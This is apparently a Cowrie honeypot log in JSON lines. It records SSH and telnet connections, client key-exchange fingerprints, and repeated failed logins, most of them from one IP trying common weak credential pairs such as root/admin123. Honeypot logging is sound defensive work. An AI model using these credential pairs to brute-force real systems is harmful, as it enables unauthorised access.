{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:35.475916Z","src_ip":"159.203.92.129","session":"2c917d00c189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54912,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bfa1130cf1d","protocol":"ssh","message":"New connection: 192.109.200.78:54912 (10.17.0.5:22) [session: 3bfa1130cf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:36.460492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:36.465492Z","src_ip":"192.109.200.78","session":"3bfa1130cf1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:36.552789Z","src_ip":"192.109.200.78","session":"3bfa1130cf1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:36.933215Z","src_ip":"192.109.200.78","session":"3bfa1130cf1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:38.020325Z","src_ip":"192.109.200.78","session":"3bfa1130cf1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":55056,"dst_ip":"159.203.135.109","dst_port":23,"session":"6661b2111328","protocol":"telnet","message":"New connection: 5.42.229.203:55056 (159.203.135.109:23) [session: 6661b2111328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:39.173142Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":55058,"dst_ip":"159.203.135.109","dst_port":23,"session":"656cea3c79a5","protocol":"telnet","message":"New connection: 5.42.229.203:55058 (159.203.135.109:23) [session: 656cea3c79a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:39.178764Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54572,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0237d85aec7","protocol":"ssh","message":"New connection: 192.109.200.78:54572 (10.17.0.5:22) [session: e0237d85aec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:40.505878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:40.512540Z","src_ip":"192.109.200.78","session":"e0237d85aec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:40.591886Z","src_ip":"192.109.200.78","session":"e0237d85aec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:41.223025Z","src_ip":"192.109.200.78","session":"e0237d85aec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:42.316292Z","src_ip":"192.109.200.78","session":"e0237d85aec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.23185753822327,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:44.312281Z","src_ip":"5.42.229.203","session":"20154b5f769f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54576,"dst_ip":"10.17.0.5","dst_port":22,"session":"d26ebaf946ab","protocol":"ssh","message":"New connection: 192.109.200.78:54576 (10.17.0.5:22) [session: d26ebaf946ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:44.662601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:44.667757Z","src_ip":"192.109.200.78","session":"d26ebaf946ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:44.750945Z","src_ip":"192.109.200.78","session":"d26ebaf946ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:45.003463Z","src_ip":"192.109.200.78","session":"d26ebaf946ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.202739238739014,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:45.289602Z","src_ip":"5.42.229.203","session":"01da1800ee0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.03735017776489,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:45.920040Z","src_ip":"5.42.229.203","session":"c84d87d76918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:46.092507Z","src_ip":"192.109.200.78","session":"d26ebaf946ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50556,"dst_ip":"10.17.0.5","dst_port":22,"session":"e679bf8eb800","protocol":"ssh","message":"New connection: 192.109.200.78:50556 (10.17.0.5:22) [session: e679bf8eb800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:48.814225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:48.822871Z","src_ip":"192.109.200.78","session":"e679bf8eb800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:48.954668Z","src_ip":"192.109.200.78","session":"e679bf8eb800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:49.384696Z","src_ip":"192.109.200.78","session":"e679bf8eb800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:50.471393Z","src_ip":"192.109.200.78","session":"e679bf8eb800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50574,"dst_ip":"10.17.0.5","dst_port":22,"session":"411f47336c8f","protocol":"ssh","message":"New connection: 192.109.200.78:50574 (10.17.0.5:22) [session: 411f47336c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:53.015299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:53.019998Z","src_ip":"192.109.200.78","session":"411f47336c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:53.104536Z","src_ip":"192.109.200.78","session":"411f47336c8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:53.475935Z","src_ip":"192.109.200.78","session":"411f47336c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:54.694477Z","src_ip":"192.109.200.78","session":"411f47336c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50592,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bf7f0415a27","protocol":"ssh","message":"New connection: 192.109.200.78:50592 (10.17.0.5:22) [session: 8bf7f0415a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:57.212476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:57.219113Z","src_ip":"192.109.200.78","session":"8bf7f0415a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:57.299343Z","src_ip":"192.109.200.78","session":"8bf7f0415a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:57.634938Z","src_ip":"192.109.200.78","session":"8bf7f0415a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:20:58.724045Z","src_ip":"192.109.200.78","session":"8bf7f0415a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56538,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d1e993bf0ef","protocol":"ssh","message":"New connection: 192.109.200.78:56538 (10.17.0.5:22) [session: 2d1e993bf0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:01.439905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:01.444868Z","src_ip":"192.109.200.78","session":"2d1e993bf0ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:01.531175Z","src_ip":"192.109.200.78","session":"2d1e993bf0ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:01.785930Z","src_ip":"192.109.200.78","session":"2d1e993bf0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:02.872995Z","src_ip":"192.109.200.78","session":"2d1e993bf0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56570,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec95bd869ac5","protocol":"ssh","message":"New connection: 192.109.200.78:56570 (10.17.0.5:22) [session: ec95bd869ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:05.790855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:05.797562Z","src_ip":"192.109.200.78","session":"ec95bd869ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:05.882007Z","src_ip":"192.109.200.78","session":"ec95bd869ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:21:06.131826Z","src_ip":"192.109.200.78","session":"ec95bd869ac5","protocol":"ssh"}
